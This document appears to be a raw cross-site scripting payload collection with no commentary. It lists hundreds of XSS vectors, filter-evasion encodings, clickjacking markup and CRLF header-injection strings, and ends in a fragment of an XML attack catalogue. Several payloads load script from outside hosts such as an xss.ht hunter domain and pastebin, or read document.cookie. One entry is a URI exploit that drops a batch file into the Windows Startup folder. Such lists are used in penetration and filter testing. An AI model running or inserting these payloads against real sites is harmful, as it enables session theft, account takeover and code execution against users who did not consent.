<title onpropertychange=alert(107)></title><title title=></title>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=xx:x onerror=alert(108)></a>"><!a foo=x=`y><img alt="`><img src=xx:x onerror=alert(2)//"><?a foo=x=`y><img alt="`><img src=xx:x onerror=alert(3)//">
<svg xmlns="http://www.w3.org/2000/svg"><a id="x"><rect fill="white" width="1000" height="1000"/></a><rect fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/></svg>
<svg xmlns="http://www.w3.org/2000/svg"><path d="M0,0" style="marker-start:url(test4.svg#a)"/></svg>
<div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>
<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>
<div id="x">XXX</div><style>#x{font-family:foo[bar;color:green;}#y];color:red;{}</style>
<x style="background:url('x[a];color:red;/*')">XXX</x>
<!--[if]><script>alert(115)</script --><!--[if<img src=x onerror=alert(2)//]> -->
<div id="x">x</div><xml:namespace prefix="t"><import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=alert(116)>">
<a href="http://attacker.org"><iframe src="http://example.org/"></iframe></a>
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');"><h1>Drop me</h1></div><iframe src="http://www.example.org/dropHere.html"></iframe>
<iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe><textarea type="text" cols="50" rows="10"></textarea>
<script>function makePopups(){for (i=1;i<6;i++){window.open('popup.html','spam'+i,'width=50,height=50');}}</script><body><a href="#" onclick="makePopups()">Spam</a>
<html xmlns="http://www.w3.org/1999/xhtml"xmlns:svg="http://www.w3.org/2000/svg"><body style="background:gray"><iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/><svg:svg><svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"><svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/><svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/></svg:mask></svg:svg></body></html>
<iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>
<span class=foo>Some text</span><a class=bar href="http://www.example.org">www.example.org</a><script src="http://code.jquery.com/jquery-1.4.4.js"></script><script>$("span.foo").click(function(){alert('foo');$("a.bar").click();});$("a.bar").click(function(){alert('bar');location="http://html5sec.org";});</script></div><script src="/\example.com\foo.js"></script><script src="\\example.com\foo.js"></script></div><?xml version="1.0"?><?xml-stylesheet type="text/xml" href="#stylesheet"?><!DOCTYPE doc [<!ATTLIST xsl:stylesheet id ID #REQUIRED>]><svg xmlns="http://www.w3.org/2000/svg"><xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(125)"></iframe></xsl:template></xsl:stylesheet><circle fill="red" r="40"></circle></svg>
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object><object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(126)" style="behavior:url(#x);"><param name=postdomevents /></object>
<svg xmlns="http://www.w3.org/2000/svg" id="x"><listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/><handler id="y">alert(127)</handler></svg>
<svg><style><img/src=x onerror=alert(128)// </b>
<svg><image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(129)</script></svg>")'></svg>
<math href="javascript:alert(130)">CLICKME</math><math><maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction><maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction></math>
<b>drag and drop one of the following strings to the drop box:</b><br/><hr/>jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);<br/><hr/>feed:data:text/html,<script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)</script><b><br/><hr/>feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);<br/><hr/><div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>
<!doctype html><form><label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label><br><input name="secret" type="password"></form><!-- injection --><svg height="50px"><image xmlns:xlink="http://www.w3.org/1999/xlink"><set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" /><set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" /><set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" /><set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" /></image></svg>
<!-- `<img/src=xx:xx onerror=alert(133)//--!>
<xmp><%</xmp><img alt='%></xmp><img src=xx:x onerror=alert(134)//'><script>x='<%'</script> %>/alert(2)</script>XXX<style>*['<!--']{}</style>-->{}*{color:red}</style>
<?xml-stylesheet type="text/xsl" href="#" ?><stylesheet xmlns="http://www.w3.org/TR/WD-xsl"><template match="/"><eval>new ActiveXObject('htmlfile').parentWindow.alert(135)</eval><if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if></template></stylesheet>
<form action="" method="post"><input name="username" value="admin" /><input name="password" type="password" value="secret" /><input name="injected" value="injected" dirname="password" /><input type="submit"></form>
<svg><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"><circle r="400"></circle><animate attributeName="xlink:href" begin="0" from="javascript:alert(137)" to="&" /></a>
<link rel="import" href="test.svg" />
<iframe srcdoc="<img src=x:x onerror=alert(1)>" /><svg%0Aonload=%09((pro\u006dpt))()//
<sCriPt x>(((confirm)))``</scRipt x>
<w="/x="y>"/OndbLcLick=`<`[confir\u006d``]>z
<deTAiLs/open/oNtoGGle=confirm()>
<scRiPt y="><">/*<sCRipt* */prompt()</script
<A href="javascript%26colon;confirm()">click
<sVg oNloaD=write()>
<A href=javas%26#99;ript:alert(1)>click
<sCrIpt/"<a"/srC=data:=".<a,[8].some(confirm)>
<svG/x=">"/oNloaD=confirm()//
<--`<iMG/srC=` onerror=confirm``> --!>
<SVg </onlOad ="1> (_=prompt,_(1)) "">
<!--><scRipT src=//14.rs>
<sCriPt/src=//14.rs?
<sCRIpt x=">" src=//15.rs></script>
<D3/OnMouSEenTer=[2].find(confirm)>z
<D3"<"/OncLick="1>[confirm``]"<">z
<D3/OnpOinTeReENter=confirm``>click here
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<Z oncut=alert()>x
<iFrAMe/src \/\/onload = prompt(1)
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>"'`ʼˈ‘’‚‛“”„‟′″‴‵‶‷﹅﹐＂＇，舧艠︐︑--><script>alert(42)</script>
"'><script>alert('XSS')</script>
"'><script>alert(/XSS/)</script>
"'><script>alert(42)</script>
"'><script>prompt(42)</script>
"'><script>confirm(42)</script>
"'><sCriPt>confirm(42)</sCriPt>
"'><script >confirm(42)</script >
"'><script foo=bar>confirm(42)</script>
"'><\script>confirm(42)</script>
"'><sc\ript>confirm(42)</script>
"'><sc\tript>confirm(42)</script>
"'><script onlyOpera:-)>alert(42)
"'><script /*%00*/>/*%00*/alert(42)/*%00*/</script /*%00*/
"'><script x:href='//evil.com/onlyOpera'>
"'><///script///>alert(42)</script>
"'><///style///>alert(42)</script>
"'><;(24)trela=daolno ;''=e>'=d
"'><;(24)trela=daolno ;''=/e>'=d
"'><isindex action="javas	cript:alert(42)" type=image>
"'><sc ript>confirm(42)</script>
"'%3e%3cscript%3econfirm(42)%3c/script%3e
"'%253e%253cscript%253econfirm(42)%253c/script%253e
"'%25253e%25253cscript%25253econfirm(42)%25253c/script%25253e
"'%u3e%u3cscript%u3econfirm(42)%u3c/script%u3e
"'%u003e%u003cscript%u003econfirm(42)%u003c/script%u003e
"'%25u003e%25u003cscript%25u003econfirm(42)%25u003c/script%25u003e
%22%27%3e%3cscript%3econfirm(42)%3c/script%3e
%u22%u27%u3e%u3cscript%u3econfirm(42)%u3c/script%u3e
%u0022%u0027%u003e%u003cscript%u003econfirm(42)%u003c/script%u003e
%2522%2527%253e%253cscript%253econfirm(42)%253c/script%253e
%252522%252527%25253e%25253cscript%25253econfirm(42)%25253c/script%25253e
%25u22%25u27%25u3e%25u3cscript%25u3econfirm(42)%25u3c/script%25u3e
%25u0022%25u0027%25u003e%25u003cscript%25u003econfirm(42)%25u003c/script%25u003e
"'><script>\u0061lert(42)</script>
"'ܾܼscriptܾalert(42)ܼܯscriptܾ
"'%07%3e%07%3cscript%07%3ealert(42)%07%3c/script%07%3e
"'%u073e%u073cscript%u073ealert(42)%u073c/script%u073e
%07%22%07%27%07%3e%07%3cscript%07%3ealert(42)%07%3c/script%07%3e
%u0722%u0727%u073e%u073cscript%u073ealert(42)%u073c/script%u073e
"'%2507%253e%2507%253cscript%2507%253ealert(42)%2507%253c/script%2507%253e
"'%25u073e%25u073cscript%25u073ealert(42)%25u073c/script%25u073e
%2507%2522%2507%2527%2507%253e%2507%253cscript%2507%253ealert(42)%2507%253c/script%2507%253e
%25u0722%25u0727%25u073e%25u073cscript%25u073ealert(42)%25u073c/script%25u073e
javascript:alert(42)
javascript:prompt(42)
javascript:confirm(42)
jAvasCript:confirm(42)
jAvas\Cript:confirm(42)
jAvas Cript:confirm(42)
jAvas/* */Cript:confirm(42)
javascript:alert(42)
document
document.
top
top.
top[
eval(
cookie
.cookie
onerror
onerror=
onclick
onclick=
onmouseover
onmouseover=
onload
onload=
"onerror
"onerror=
"onclick
"onclick=
"onmouseover
"onmouseover=
"onload
"onload=
href=
src=
link=
style=
alt=
title=
egal=
"href=
"src=
"link=
"style=
"alt=
"title=
"egal=
<a
<a href=
<a alt=42 href=
<a href="javascript:
<a href=" javascript:
<p
<div
<iframe
<index
<layer
<link
<meta
<style
<script
<img src="/" =_=" title="onerror='alert(42)'">
<img src ?notinChrome?\/onerror = alert(42)
<img src ?notinChrome?\/onerror=alert(42)
<img/alt="/"src="/"onerror=alert(42)>
<iframe/src \/\/onload = alert(42)
<iframe/onreadystatechange=alert(42)
<!-- open comment
<!-- complete comment -->
--><!-- close/complete comment -->
<![CDATA[
<![CDATA[ open cdata
<![CDATA[ complete cdata ]]]]><![CDATA[>
]]]]><![CDATA[><![CDATA[ close/complete cdata ]]]]><![CDATA[>
<?xml
<?xml version="1.0">
" value=``
onmouseover=\u0061\u006C\u0065\u0072\u0074('XSS')
onmouseover=\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF14\uFF12\u1450
<div style="{ left:expression( alert('XSS') ) }">
left:expr/**/ession(alert('XSS'))
left:expr/* */ession(alert('XSS'))
left:e\0078pr\0065ssion(alert('XSS'))
left:\0065\0078pr\0065ssion(alert('XSS'))
left:expr\65ssion(alert('XSS') ))
left:expr\0065ssion(alert('XSS'))
left:expression(alert('XSS'))
left:expression(alert('XSS'))
left:expression(alert('XSS'))
left:\ff45\ff58\ff50\ff52\ff45\ff53\ff53\ff49\ff4f\ff4e(alert('XSS'))
left:ｅｘｐｒｅｓｓｉｏｎ(alert('XSS'))
left:\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF14\uFF12\u1450
left:ｅｘｐｒｅｓｓｉｏｎ(alert('XSS'))
left:EXPR/**/ESSION(alert('XSS'))
left:EXPR/* */ESSION(alert('XSS'))
left:\ff25\ff38\ff30\ff32\ff42\ff53\ff33\ff29\ff2f\ff2e(alert('XSS'))
left:ＥＸＰＲｂｓＳＩＯＮ(alert('XSS'))
left:ＥＸＰＲＥＳＳＩＯＮ(alert('XSS'))
left:exp\0280essio\0274(alert('XSS'))
left:exp\0280essio\207f(alert('XSS'))
left:expʀessioɴ(alert('XSS'))
left:expʀessioⁿ(alert('XSS'))
%u00ABscript%u00BB
〈script〉
U%2bFF1CscriptU%2bFF1E
‹script›
〈script〉
⟨script⟩
href="data:text/html;charset=utf-8,%3cscript%3econfirm(42);%3c/script%3e" UTF-8 URL-encoded
href="data:text/html;charset=utf-8,%3c%73%63%72%69%70%74%3e%63%6f%6e%66%69%72%6d%28%34%32%29%3b%3c%2f%73%63%72%69%70%74%3e" UTF-8 URL-encoded (all)
href="data:text/html;base64,PHNjcmlwdD5jb25maXJtKDQyKTs8L3NjcmlwdD4=" base64
href="data:text/html;charset=utf-7,+ADw-script+AD4-confirm(42)+ADsAPA-/script+AD4-" UTF-7
href="data:text/html;charset=utf-7,+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAOwBoAGkAcwB0AG8AcgB5AC4AYgBhAGMAawAoACkAOwA8AC8AcwBjAHIAaQBwAHQAPgAKADwAcwBjAHIAaQBwAHQAPgBjAG8AbgBmAGkAcgBtACgANAAyACkAOwA8AC8AcwBjAHIAaQBwAHQAPg-" UTF-7 (all)
href="data:text/html;charset=utf-7,+ADwAcwBjAHIAaQBwAHQAPg-confirm(42)+ADsAPA-/script+AD4-" UTF-7/UTF-8 mix
href="data:text/html;charset=utf-7;base64,K0FEdy1zY3JpcHQrQUQ0LWNvbmZpcm0oNDIpK0FEc0FQQS0vc2NyaXB0K0FENC0=" UTF-7 in base64
href="data: text/html;charset=utf-7;base64,K0FEdy1zY3JpcHQrQUQ0LWNvbmZpcm0oNDIpK0FEc0FQQS0vc2NyaXB0K0FENC0=">obfuscated UTF-7 in base64
href="data:text/html;base64;charset=utf-7,+AFAASABOAGoAYwBtAGwAdwBkAEQANQBqAGIAMgA1AG0AYQBYAEoAdABLAEQAUQB5AEsAVABzADgATAAzAE4AagBjAG0AbAB3AGQARAA0AD0-" base64 in UTF-7
%22onmouseover%3d'alert(/PHP_SELF/)'%3d%22%3e
%20%22onmouseover%3d'alert(/PHP_SELF/)'%3d%22%3e
<%<!--'%><script>alert(42);</script -->: \');confirm(1);//
<x/onmouSeenter=window[`\x61\x6c\x65\x72\x74`]`1337`
<script>prompt(1)</script>
<script>confirm(1)</script>
<script>var fn=window[490837..toString(1<<5)]; fn(atob('YWxlcnQoMSk='));</script>
<script>var fn=window[String.fromCharCode(101,118,97,108)]; fn(atob('YWxlcnQoMSk='));</script>
<script>var fn=window[atob('ZXZhbA==')];fn(atob('YWxlcnQoMSk=')); </script>
<script>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script> <script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script>
<script>'str1ng'.replace(/1/,alert)</script> <script>'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)</script> <script>'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/,function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script>
<script>eval('\\u'+'0061'+'lert(1)')</script> <script>throw~delete~typeof~prompt(1)</script> <script>delete[a=alert]/prompt a(1)</script> <script>delete[a=this[atob('YWxlcnQ=')]]/prompt a(1)</script> <script>(()=>{return this})().alert(1)</script>
<script>new function(){new.target.constructor('alert(1)')();}</script> <script>Reflect.construct(function(){new.target.constructor('alert(1)')()},[])</script>
<link/rel=prefetch import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>
<link rel="import" href="data:x,<script>alert(1)</script> <script>Array.from1${alert}3${window}2</script>
<script>!{x(){alert(1)}}.x()</script> <script>Array.from${eval}alert\1\``</script> <script>Array.from([1],alert)</script> <script>Promise.reject("1").then(null,alert)</script>
<svg </onload ="1> (_=alert,_(1)) "">
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<p onbeforescriptexecute="alert(1)"><svg><script>\</p>
<img onerror=alert(1) src <u></u> <videogt;<source onerror=javascript:prompt(911)gt;
<base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a>
<base href="javascript:/"><a href="**/alert(1)"><base href="javascript:/"><a href="**/alert(1)">
<style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <
${``[class extends[alert``]{}]}
</script> <script>[class extends[alert``]{}]</script>
<script>throw new class extends Function{}('alert(1)')``</script> <script>x=new class extends Function{}('alert(1)'); x=new x;</script> <script>new class extends alert(1){}</script>
<script>new class extends class extends class extends class extends alert(1){}{}{}{}</script>
<script>new Image()[unescape('%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74')][atob('ZGVmYXVsdFZpZXc=')][8680439..toString(30)](1)</script> <script src=data:,\u006fnerror=\u0061lert(1)></script>
"><svg><script/xlink:href="data:,alert(1) <svg><script/xlink:href=data:,alert(1)></script> <frameset/onpageshow=alert(1)>
<div onactivate=alert('Xss') id=xss style=overflow:scroll>
<div onfocus=alert('xx') id=xss style=display:table>
"><script src=https://hackeroneofjaaah.xss.ht></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://hackeroneofjaaah.xss.ht\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGFja2Vyb25lb2ZqYWFhaC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGFja2Vyb25lb2ZqYWFhaC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://hackeroneofjaaah.xss.ht";parent.document.body.appendChild(a);</script>">
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//hackeroneofjaaah.xss.ht");a.send();</script>
<script>$.getScript("//hackeroneofjaaah.xss.ht")</script>
><object+data=//14.rs>
><script src=//pastebin.com/raw/WDWWYaLA></script>
<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>
</script><svg><script>alert(1)-%26apos%3B
anythinglr00</script><script>alert(document.domain)</script>uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
<svg onload\r\n=$.globalEval("al"+"ert()");>
?"></script><base%20c%3D=href%3Dhttps:\mysite>
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
<a href=javascript:alert(1)>
<style>//*{x:expression(alert(/xss/))}//<style></style>
<iframe srcdoc="<svg/onload=alert()>">
javascript:alert("OfJAAH"):
<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`>
<d3v/onauxclick=[2].some(confirm)>click
<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>
{1==1}"><object+data=javascript%26colon%3b'str1ng'.replace('1',alert)>
'><img src=x onError=prompt("OpenBugBounty")>
'><img+sRc=l+oNerrOr=prompt(document.cookie)+x>
"><object+data=javascript%26%63%6f%6c%6f%6e%3b'straccessng'.replace('access',alert)>
<svg/ \/\/%20%20%20%20%20onload%20%20%20%20%20 =%20%20%20%20%20%20%20 window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))>
<svg/ subsoloprivxss \/\/%20%20%20%20%20onload%20%20%20%20%20 =%20%20%20%20%20%20%20 window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))>
<script>x = '<!--<script>'/*</script>-->*/;alert(1)</script
<svg onload="import('data:text/javascript,al'+''+'ert(0)')">
<image src\r\n=valid.jpg onloadend='new class extends (co\u006efir\u006d)/**/`` {}'>
<details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];">
<</p>iframe src=javascript:alert()//
<bleh/onclick=top[/al/.source+/ert/.source]	``>click
<head></head><body>padding<bleh onclick="top[/al/.source+/ert/.source] ``">clickpadding</bleh></body>
<details onauxclick=confirm`xss`></details>
<svg onunload=http://window.open ('javascript:alert(1)')>
<xss class=progress-bar-animated onanimationstart=alert(1)>
<xss<script>>&28;prompt();&28;<</script>/xss>
<svg><b><style><img id="</style><img src=1 onerror=alert(1)>">
<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert`1`;>
<svg%0Aonauxclick=0;[1].some(confirm)//
<</div>script</div>>alert()<</div>/script</div>>
"><svg onload=alert(1)>
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //
<img src=something onauxclick="new Function `al\ert\`xss\``">
<svg id=javascript:alert(10) onload=location=id>
<svg/onload=%26nbsp;alert`bohdan`+
1'"><img/src/onerror=.1|alert``>
<img src="img-src" onloadstart="alert(45)">
<img src="img-src" onloadend="alert(45)">
<img src onerror=%26emsp;prompt`${document.domain}`>
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
-alert(1)//\
-alert(1)}//\
${alert(1)}
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>
"><svg onload=alert(1)>.gif
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
<img src=1 onerror=alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
><svg onload=alert(1)>?a=reader
<script src=data:,alert(1)>
<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>
%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0A%0D%0A%3Cscript
%3Ealert(1)%3C/script%3E
%0D%0ALocation:%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D
%0A%0D%0A%3Cscript%3Ealert(1)%3C/script%3E
<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
<<!--%23set var="x" value="svg onload=alert(1)"--><!--%23echo var="x"-->>
1<svg onload=alert(1)>
1"><svg onload=alert(1)>
'1<svg onload=alert(1)>
<svg onload=alert(1)>\
<Svg OnLoad=alert(1)>
<Script>alert(1)</Script>
<svg onload=alert(1)//
<svg onload="alert(1)"
<SVG ONLOAD=alert(1)>
<SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>
<script/x>alert(1)</script>
%253Csvg%2520o%256Eload%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Eload%253Dalert%25281%2529%253E
setTimeout`alert\x28document.domain\x29`
setInterval`alert\x28document.domain\x29`
<svg onload=alert(1)>
<svg onload=alert(1)>
[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')()
top.open`javas\cript:al\ert(1)`
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
<script src=https://www.google.com/complete/search?client=chrome%26jsonp=alert(1);></script>
<x onauxclick=alert(1)>right click this!
'-alert(1)-'<svg>
\'-alert(1)//<svg>
<svg/on<script><script>load=alert(1)//</script>
<SCRİPT>alert(1)</SCRİPT>
<SCRİPT/SRC=data:,alert(1)>
%CA%BA>%EF%BC%9Csvg/onload%EF%BC%9Dalert%EF%BC%881)>
<svg><set onbegin=alert(1)>
<svg><set end=1 onend=alert(1)>
%u003Csvg onload=alert(1)>
%u3008svg onload=alert(2)>
%uFF1Csvg onload=alert(3)>
"><svg/onload=alert(1)>"@x.y
\74svg o\156load\75alert\501\51\76
</script><svg><script>alert(1)//
</script><script>'%0B'-alert(1)//
"`-alert(1)</script><script>`
?p[<script>`]=`/alert(1)</script>
';onerror=alert;throw 1//
"'>confirm(1)</Script><Svg><Script/1='
%01Jav%09asc%09ript:https://DOMAIN/%250Acon%09firm%25%281%25%29
<x onmouseenter=alert(1)>
<x onafterscriptexecute=alert(1)>
<x onbeforescriptexecute=alert(1)>
<x onanimationend=alert(1)><style>x{animation:s}@keyframes s{}
<x onwebkitanimationend=alert(1)><style>x{animation:s}@keyframes s{}
<svg><use xlink:href=data:image/svg%2Bxml;base64,PHN2ZyBpZD0ieCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI%2BPGVtYmVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9ImphdmFzY3JpcHQ6YWxlcnQoMSkiLz48L3N2Zz4=%23x>
</Script/"'--><Body /Autofocus /OnFocus = confirm`1` <!-->
PC9TY3JpcHQvIictLT48Qm9keSAvQXV0b2ZvY3VzIC9PbkZvY3VzID0gY29uZmlybWAxYCA8IS0tPg==
<body onhashchange=alert(1)><a href=%23x>click this!#x
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><x id=x>#x
<body onhelp=alert(1)>press F1!
<object onerror=alert(1)>
z" onmouseover="alert('Hackerone')" style="position:fixed;left:0;top:0;width:9999px;height:9999px;">
%3Csvg%2Fx%3D%22%3E%22%2F%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E()%2F%2F
%3Csvg/x=%22%3E%22/%3Cscript%3Ealert(document.cookie)%3C/script%3E()//
'-confirm`1`-'
'-document.write`<h1>juniorEXPLOIT</h1>`-'
%22><svg%20onload=confirm(1);>
'<'/'><'s't'y'l'e'/'o'n'l'o'a'd'='a'l'e'r't('1')'>
<details open ontoggle=window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))>
<svg onload=window[490837..toString(1<<5)](atob('YWxlcnQoMSk='));>
<marquee/onstart=window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))>
<svg onpointerenter=z=alert,z(document.domain)>
<object data=javascript:window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))>
</TITLE><object/data=https://finickycold.htmlpasta.com>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>"
<input type=text autofocus onfocus=window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))//
<script qwerty>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script qwerty>
<marquee onstart='javascript:alert('1');'>=(◕_◕)='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
' onmouseover=alert(/XSS/)
"><img src=x onerror=prompt(1);><?xml version="1.0"?>
<!-- from: http://h4k.in/encoding/
date: 22-feb-08
converted from HTML to XML
modiefied: 05-dec-11; all ” replaced by \" and all ’ replaced by '
-->
<xss>
<attack>
<name>Add onclick event hadler</name>
<code>onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source);</code>
<desc></desc>
<label></label>
</attack>
<code><s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e&#60&#115&#62&#51&#51&#51&#60&#47&#115&#62&#x3c&#x73&#x3e&#x34&#x34&#x34&#x3c&#x2f&#x73&#x3e</code>
<name>Advanced HTML injection locator</name>
<code>';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'><SCRIPT>alert(4)</SCRIPT>=&{}");}alert(6);function xss(){//</code>
<name>Advanced XSS Locator</name>
<code>';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'></title><SCRIPT>alert(4)</SCRIPT>=&{</title><script>alert(5)</script>}");}</code>
<name>Advanced XSS Locator for title-Injections</name>
<code>aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat"</code>
<name>aim: uri exploit</name>
<code><div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)></code>
<name>Backslash-obfuscated XBL injection - variant 1</name>
<code><div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&
#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&
#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&
#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&
#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115
&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92
&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&></code>
<name>Backslash-obfuscated XBL injection - variant 2</name>
<code><div&nbsp;style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)></code>
<name>Backslash-obfuscated XBL injection - variant 3</name>
